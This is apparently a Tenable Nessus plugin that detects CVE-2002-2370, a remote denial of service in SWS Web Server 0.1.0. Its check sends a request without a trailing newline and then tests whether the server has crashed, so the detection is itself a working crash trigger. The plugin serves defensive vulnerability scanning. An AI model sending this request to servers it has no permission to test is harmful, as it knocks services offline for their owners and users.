The SWS web server running on this port crashes when it receives a request that doesn’t end in a newline.
An unauthenticated, remote attacker can exploit this vulnerability to disable the service.
#
# (C) Tenable Network Security, Inc.
#
# Modifications by rd:
# - Removed the numerous (and slow) calls to send() and recv()
# because the original exploit states that sending just one
# request will crash the server
#
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# References:
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#
# Message-Id: <[email protected]>
# Date: Mon, 2 Sep 2002 11:02:31 -0700
# To: [email protected]
# From: [email protected]
# Subject: [VulnWatch] SWS Web Server v0.1.0 Exploit
#
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#
# Vulnerable:
# SWS Web Server v0.1.0
#
include("compat.inc");
if(description)
{
script_id(11171);
script_version("1.24");
script_cve_id("CVE-2002-2370");
script_bugtraq_id(5664);
script_name(english:"SWS Web Server Unfinished Line Remote DoS");
script_set_attribute(attribute:"synopsis", value:
"The remote web server is prone to a denial of service attack." );
script_set_attribute(attribute:"description", value:
"The SWS web server running on this port crashes when it receives a
request that doesn't end in a newline.
An unauthenticated, remote attacker can exploit this vulnerability to
disable the service." );
# https://web.archive.org/web/20111004151520/http://archives.neohapsis.com/archives/vulnwatch/2002-q3/0100.html
script_set_attribute(
attribute:"see_also",
value:"http://www.nessus.org/u?38653668"
);
script_set_attribute(attribute:"solution", value: "Unknown at this time." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(
attribute:"vuln_publication_date",
value:"2002/09/02"
);
script_set_attribute(
attribute:"plugin_publication_date",
value:"2002/11/27"
);
script_cvs_date("Date: 2018/06/27 18:42:26");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_summary(english:"SWS web server crashes when unfinished line is sent");
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
script_family(english:"Web Servers");
script_dependencie("http_version.nasl");
script_require_ports("Services/www",80);
exit(0);
}
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
if(http_is_dead(port:port))exit(0);
r = http_send_recv_buf(port: port, data:"|Nessus|");
if(http_is_dead(port:port, retry:3)) security_warning(port);